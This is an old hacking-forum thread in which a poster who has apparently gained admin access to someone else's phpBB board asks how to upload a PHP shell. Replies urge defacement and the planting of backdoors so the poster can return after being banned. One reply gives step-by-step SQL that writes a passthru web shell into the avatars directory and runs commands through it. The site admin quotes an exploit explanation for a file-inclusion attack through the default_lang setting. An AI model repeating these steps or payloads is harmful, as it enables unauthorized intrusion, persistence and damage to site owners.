|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Ok, i can login as an admin, but |
|
Posted: Wed Apr 05, 2006 5:26 am |
|
|
naragorn |
Regular user |
|
|
Joined: Apr 03, 2006 |
Posts: 10 |
|
|
|
|
|
|
|
But what can i do besides delete the forum??
I dont want to do that, too lame i think, i wont delete anything,
But im wondering, is there a way to upload a shell now that im admin?? |
|
|
|
|
Posted: Wed Apr 05, 2006 5:38 am |
|
|
Aryan-Husky |
Active user |
|
|
Joined: Apr 03, 2006 |
Posts: 37 |
|
|
|
|
|
|
|
How did you get Admin access?
Yes I also agree deleting the forum is lame, you could upload your own Overall header and footer. to scare the Admins and Mods into think their site has been hacked. (even though it has )
Im not to sure about uploading a shell. |
|
|
|
|
Posted: Wed Apr 05, 2006 5:48 am |
|
|
naragorn |
Regular user |
|
|
Joined: Apr 03, 2006 |
Posts: 10 |
|
|
|
|
|
|
|
ya, that would be lame too, xD, i wont do that, i will leave the forum intact, dun have anything agains them,
Well im just llokin into upload a phpshell, thx anyway |
|
|
|
|
Posted: Thu Apr 06, 2006 5:29 am |
|
|
Aryan-Husky |
Active user |
|
|
Joined: Apr 03, 2006 |
Posts: 37 |
|
|
|
|
|
|
|
naragorn wrote: | ya, that would be lame too, xD, i wont do that, i will leave the forum intact, dun have anything agains them,
Well im just llokin into upload a phpshell, thx anyway |
I hope it works out for you naragorn, keep us posted on your developments!!!
|
|
|
|
|
Posted: Thu Apr 13, 2006 1:37 am |
|
|
DCDJ |
Beginner |
|
|
Joined: Apr 13, 2006 |
Posts: 3 |
|
|
|
|
|
|
|
Or you could just get a bunch of random html and stick it in a forum description, that messed up the whole page. But thats lame to since every hacker you ever see does it. |
|
|
|
|
Posted: Fri Apr 14, 2006 8:25 pm |
|
|
Indiction |
Regular user |
|
|
Joined: Apr 12, 2006 |
Posts: 11 |
|
|
|
|
|
|
|
Backup and store the database. It will probably be useful later.
Look for bugs in mods too, like EasyMOD which will let you write a modification and pretty much will let you, with a well written PHP shell, upload and execute remote code. I recommend doing this as much as possible as well as rewriting "secure" code to make it insecure or have backdoors. Why? Because if they ever kick you out/ban you, or even if they upgrade/reinstall its nice to be able to get back in and screw stuff up again. |
|
|
|
|
|
|
|
|
Posted: Tue Apr 18, 2006 12:33 pm |
|
|
beastyarny |
Regular user |
|
|
Joined: Apr 18, 2006 |
Posts: 5 |
Location: Russia |
|
|
|
|
|
|
you can try to upload shell...first of all find the installation directory of the forum...for example ...../admin/admin_disallow.php?setmodules=1..after this you get it,
then you must to edit the data base...looks for string (for example).. INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', 'test', '10');
and edit it.....INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', '<? passthru("$cmd"); ?>', '10');
SELECT cat_title INTO OUTFILE '/installation_directory_of_the_forum/avatars/shell.php' FROM phpbb_categories where cat_id=1;
UPDATE phpbb_categories SET cat_title='test' WHERE cat_id=1;
save the db and upload it to forum...then try you shell like this
.............../avatars/shell.php?cmd=ls -la
there are lots video for uploading shells to phpBB |
|
|
|
|
|
|
|
|
Posted: Wed Jul 05, 2006 8:19 am |
|
|
Goro |
Beginner |
|
|
Joined: Apr 12, 2006 |
Posts: 2 |
|
|
|
|
|
|
|
beastyarny wrote: | there are lots video for uploading shells to phpBB |
Can you tell us where to find those vids please?
Do you know other method?
I'm asking because the method you described doesn't work for me, it apears thet their mysql doesn't have permisions to create files.
Using the "database restore" it's possible to insert any text in the topics (for example), the topics msgs can contains PHP code, but their aren't executed.... any ideas please? |
|
|
|
|
|
|
|
|
Posted: Wed Jul 05, 2006 9:29 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Goro wrote: | beastyarny wrote: | there are lots video for uploading shells to phpBB |
Can you tell us where to find those vids please?
Do you know other method?
I'm asking because the method you described doesn't work for me, it apears thet their mysql doesn't have permisions to create files.
Using the "database restore" it's possible to insert any text in the topics (for example), the topics msgs can contains PHP code, but their aren't executed.... any ideas please? |
http://www.milw0rm.com/exploits/1780
Code: |
/* explaination:
if you have admin session id, you can enable avatar uploads, if not activated
yet and you can store an arbitrary path for "default_lang" inside phpbb_config
database table using the "Database Restore" feature. So you can upload a
malicious avatar with php code as EXIF metadata content and submit a query like
this:
UPDATE phpbb_config SET config_value=CONCAT("english/../../images/avatars/297984465bc277af10.jpg",CHAR(0)) where config_name="default_lang";
note: you can see avatar filename in profile page
in faq.php, like in other files, near line 62, we have:
...
include($phpbb_root_path . 'language/lang_' . $board_config['default_lang'] . '/' . $lang_file . '.' . $phpEx);
...
$board_config['default_lang'] var is not sanitized before to be used
to include files, so you can reach the malicious avatar to execute the code
inside of it.
|
|
|
|
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|